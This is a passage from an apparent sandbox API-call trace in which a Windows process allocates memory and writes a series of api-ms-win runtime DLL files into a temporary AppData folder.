dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2348000 [0060.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x234000c, cbMultiByte=34, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-profile-l1-1-0.dll1-1.dll.dll") returned 34 [0060.558] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-profile-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-profile-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.558] WriteFile (in: hFile=0xe8, lpBuffer=0x234ba2c*, nNumberOfBytesToWrite=0x4530, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x234ba2c*, lpNumberOfBytesWritten=0x18e5c4*=0x4530, lpOverlapped=0x0) returned 1 [0060.560] CloseHandle (hObject=0xe8) returned 1 [0060.560] VirtualFree (lpAddress=0x234c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.561] VirtualFree (lpAddress=0x2348000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.561] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x234003c, cbMultiByte=37, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-rtlsupport-l1-1-0.dll.dll.dll") returned 37 [0060.561] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-rtlsupport-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-rtlsupport-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.561] VirtualAlloc (lpAddress=0x2348000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2348000 [0060.562] WriteFile (in: hFile=0xe8, lpBuffer=0x23445b8*, nNumberOfBytesToWrite=0x4538, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x23445b8*, lpNumberOfBytesWritten=0x18e5c4*=0x4538, lpOverlapped=0x0) returned 1 [0060.563] CloseHandle (hObject=0xe8) returned 1 [0060.564] VirtualFree (lpAddress=0x2348000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0060.564] VirtualAlloc (lpAddress=0x2348000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2348000 [0060.564] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x234000c, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-string-l1-1-0.dll.dll.dll.dll") returned 33 [0060.564] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-string-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.565] WriteFile (in: hFile=0xe8, lpBuffer=0x2348d00*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x2348d00*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0060.566] CloseHandle (hObject=0xe8) returned 1 [0060.567] VirtualFree (lpAddress=0x234c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.568] VirtualFree (lpAddress=0x2340000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.568] VirtualAlloc (lpAddress=0x2338000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2338000 [0060.568] VirtualFree (lpAddress=0x2344000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.569] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2348d00, cbMultiByte=32, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-synch-l1-1-0.dlll.dll.dll.dll") returned 32 [0060.569] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-synch-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-synch-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.570] WriteFile (in: hFile=0xe8, lpBuffer=0x2339be8*, nNumberOfBytesToWrite=0x4f38, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x2339be8*, lpNumberOfBytesWritten=0x18e5c4*=0x4f38, lpOverlapped=0x0) returned 1 [0060.571] CloseHandle (hObject=0xe8) returned 1 [0060.571] VirtualFree (lpAddress=0x233c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.572] VirtualFree (lpAddress=0x2348000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.572] VirtualAlloc (lpAddress=0x233c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x233c000 [0060.572] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2339be8, cbMultiByte=32, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-synch-l1-2-0.dlll.dll.dll.dll") returned 32 [0060.572] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.573] WriteFile (in: hFile=0xe8, lpBuffer=0x233e560*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x233e560*, lpNumberOfBytesWritten=0x18e5c4*=0x4938, lpOverlapped=0x0) returned 1 [0060.574] CloseHandle (hObject=0xe8) returned 1 [0060.575] VirtualFree (lpAddress=0x2340000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x233e560, cbMultiByte=34, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-sysinfo-l1-1-0.dlldll.dll.dll") returned 34 [0060.575] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-sysinfo-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-sysinfo-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.584] WriteFile (in: hFile=0xe8, lpBuffer=0x23397e0*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x23397e0*, lpNumberOfBytesWritten=0x18e5c4*=0x4b30, lpOverlapped=0x0) returned 1 [0060.585] CloseHandle (hObject=0xe8) returned 1 [0060.586] VirtualFree (lpAddress=0x233c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.586] VirtualAlloc (lpAddress=0x233c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x233c000 [0060.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23397e0, cbMultiByte=35, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-timezone-l1-1-0.dllll.dll.dll") returned 35 [0060.587] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.587] WriteFile (in: hFile=0xe8, lpBuffer=0x233df50*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x233df50*, lpNumberOfBytesWritten=0x18e5c4*=0x4730, lpOverlapped=0x0) returned 1 [0060.588] CloseHandle (hObject=0xe8) returned 1 [0060.589] VirtualFree (lpAddress=0x2340000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x233df50, cbMultiByte=31, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-util-l1-1-0.dll.dllll.dll.dll") returned 31 [0060.589] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-util-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-util-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.610] WriteFile (in: hFile=0xe8, lpBuffer=0x23393e8*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x23393e8*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0060.611] CloseHandle (hObject=0xe8) returned 1 [0060.612] VirtualFree (lpAddress=0x233c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.612] VirtualAlloc (lpAddress=0x233c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x233c000 [0060.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23393e8, cbMultiByte=31, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-conio-l1-1-0.dll.dllll.dll.dll") returned 31 [0060.613] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.614] WriteFile (in: hFile=0xe8, lpBuffer=0x233df5c*, nNumberOfBytesToWrite=0x4b38, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x233df5c*, lpNumberOfBytesWritten=0x18e5c4*=0x4b38, lpOverlapped=0x0) returned 1 [0060.615] CloseHandle (hObject=0xe8) returned 1 [0060.615] VirtualFree (lpAddress=0x2340000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.616] VirtualAlloc (lpAddress=0x2340000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2340000 [0060.616] VirtualFree (lpAddress=0x2338000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.616] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x233df5c, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-convert-l1-1-0.dllllll.dll.dll") returned 33 [0060.617] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.629] VirtualAlloc (lpAddress=0x2348000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2348000 [0060.629] VirtualFree (lpAddress=0x2344000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.630] WriteFile (in: hFile=0xe8, lpBuffer=0x234800c*, nNumberOfBytesToWrite=0x5738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x234800c*, lpNumberOfBytesWritten=0x18e5c4*=0x5738, lpOverlapped=0x0) returned 1 [0060.631] CloseHandle (hObject=0xe8) returned 1 [0060.631] VirtualFree (lpAddress=0x2348000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0060.632] VirtualAlloc (lpAddress=0x2344000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2344000 [0060.632] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x233c00c, cbMultiByte=37, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-environment-l1-1-0.dll.dll.dll") returned 37 [0060.632] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.633] WriteFile (in: hFile=0xe8, lpBuffer=0x233c040*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x233c040*, lpNumberOfBytesWritten=0x18e5c4*=0x4930, lpOverlapped=0x0) returned 1 [0060.634] CloseHandle (hObject=0xe8) returned 1 [0060.634] VirtualFree (lpAddress=0x233c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.635] VirtualAlloc (lpAddress=0x2338000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2338000 [0060.635] VirtualFree (lpAddress=0x2344000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.635] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2348014, cbMultiByte=36, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-filesystem-l1-1-0.dlll.dll.dll") returned 36 [0060.635] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.643] WriteFile (in: hFile=0xe8, lpBuffer=0x2339be8*, nNumberOfBytesToWrite=0x4f38, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x2339be8*, lpNumberOfBytesWritten=0x18e5c4*=0x4f38, lpOverlapped=0x0) returned 1 [0060.644] CloseHandle (hObject=0xe8) returned 1 [0060.645] VirtualFree (lpAddress=0x233c000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0060.646] VirtualFree (lpAddress=0x2348000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.646] VirtualAlloc (lpAddress=0x233c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x233c000 [0060.646] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2339be8, cbMultiByte=30, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-heap-l1-1-0.dll-0.dlll.dll.dll") returned 30 [0060.646] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.647] WriteFile (in: hFile=0xe8, lpBuffer=0x233e75c*, nNumberOfBytesToWrite=0x4b38, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x233e75c*, lpNumberOfBytesWritten=0x18e5c4*=0x4b38, lpOverlapped=0x0) returned 1 [0060.648] CloseHandle (hObject=0xe8) returned 1 [0060.648] VirtualFree (lpAddress=0x2340000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.649] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x233e75c, cbMultiByte=32, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-locale-l1-1-0.dll.dlll.dll.dll") returned 32 [0060.649] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.654] WriteFile (in: hFile=0xe8, lpBuffer=0x23395e8*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x23395e8*, lpNumberOfBytesWritten=0x18e5c4*=0x4938, lpOverlapped=0x0) returned 1 [0060.655] CloseHandle (hObject=0xe8) returned 1 [0060.656] VirtualFree (lpAddress=0x233c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.656] VirtualAlloc (lpAddress=0x233c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x233c000 [0060.657] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23395e8, cbMultiByte=30, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-math-l1-1-0.dllll.dlll.dll.dll") returned 30 [0060.657] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.657] VirtualAlloc (lpAddress=0x2344000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2344000 [0060.658] WriteFile (in: hFile=0xe8, lpBuffer=0x234075c*, nNumberOfBytesToWrite=0x7138, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x234075c*, lpNumberOfBytesWritten=0x18e5c4*=0x7138, lpOverlapped=0x0) returned 1 [0060.659] CloseHandle (hObject=0xe8) returned 1 [0060.668] VirtualFree (lpAddress=0x2344000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0060.668] VirtualAlloc (lpAddress=0x2344000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2344000 [0060.669] VirtualFree (lpAddress=0x2338000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0060.669] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x234075c, cbMultiByte=35, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-multibyte-l1-1-0.dllll.dll.dll") returned 35 [0060.669] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.672] VirtualAlloc (lpAddress=0x2338000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2338000 [0060.672] VirtualFree (lpAddress=0x2348000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.673] WriteFile (in: hFile=0xe8, lpBuffer=0x2334ca0*, nNumberOfBytesToWrite=0x6738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x2334ca0*, lpNumberOfBytesWritten=0x18e5c4*=0x6738, lpOverlapped=0x0) returned 1 [0060.674] CloseHandle (hObject=0xe8) returned 1 [0060.675] VirtualFree (lpAddress=0x2338000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0060.675] VirtualAlloc (lpAddress=0x2348000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x2348000 [0060.676] VirtualFree (lpAddress=0x2340000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.676] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2334ca0, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-private-l1-1-0.dllllll.dll.dll") returned 33 [0060.677] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.677] VirtualAlloc (lpAddress=0x235c000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x235c000 [0060.678] WriteFile (in: hFile=0xe8, lpBuffer=0x2358c1c*, nNumberOfBytesToWrite=0x11d38, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x2358c1c*, lpNumberOfBytesWritten=0x18e5c4*=0x11d38, lpOverlapped=0x0) returned 1 [0060.680] CloseHandle (hObject=0xe8) returned 1 [0060.681] VirtualFree (lpAddress=0x235c000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0060.681] VirtualAlloc (lpAddress=0x235c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x235c000 [0060.681] VirtualFree (lpAddress=0x2344000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0060.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2358c1c, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-process-l1-1-0.dllllll.dll.dll") returned 33 [0060.682] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.688] WriteFile (in: hFile=0xe8, lpBuffer=0x235d794*, nNumberOfBytesToWrite=0x4b38, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x235d794*, lpNumberOfBytesWritten=0x18e5c4*=0x4b38, lpOverlapped=0x0) returned 1 [0060.689] CloseHandle (hObject=0xe8) returned 1 [0060.689] VirtualFree (lpAddress=0x2360000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.690] VirtualAlloc (lpAddress=0x2360000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2360000 [0060.690] VirtualFree (lpAddress=0x2358000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x235d794, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-runtime-l1-1-0.dllllll.dll.dll") returned 33 [0060.690] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.691] VirtualAlloc (lpAddress=0x2338000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2338000 [0060.691] VirtualFree (lpAddress=0x2364000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.691] WriteFile (in: hFile=0xe8, lpBuffer=0x2334ca0*, nNumberOfBytesToWrite=0x5938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x2334ca0*, lpNumberOfBytesWritten=0x18e5c4*=0x5938, lpOverlapped=0x0) returned 1 [0060.692] CloseHandle (hObject=0xe8) returned 1 [0060.693] VirtualFree (lpAddress=0x2338000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0060.694] VirtualAlloc (lpAddress=0x2338000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2338000 [0060.694] VirtualFree (lpAddress=0x235c000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0060.694] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2334ca0, cbMultiByte=31, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-stdio-l1-1-0.dllllllll.dll.dll") returned 31 [0060.694] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.697] VirtualAlloc (lpAddress=0x2340000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2340000 [0060.698] VirtualFree (lpAddress=0x233c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.698] WriteFile (in: hFile=0xe8, lpBuffer=0x234000c*, nNumberOfBytesToWrite=0x5f30, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x234000c*, lpNumberOfBytesWritten=0x18e5c4*=0x5f30, lpOverlapped=0x0) returned 1 [0060.699] CloseHandle (hObject=0xe8) returned 1 [0060.700] VirtualFree (lpAddress=0x2340000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0060.700] VirtualAlloc (lpAddress=0x233c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x233c000 [0060.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x233ac0c, cbMultiByte=32, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-string-l1-1-0.dlllllll.dll.dll") returned 32 [0060.701] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, 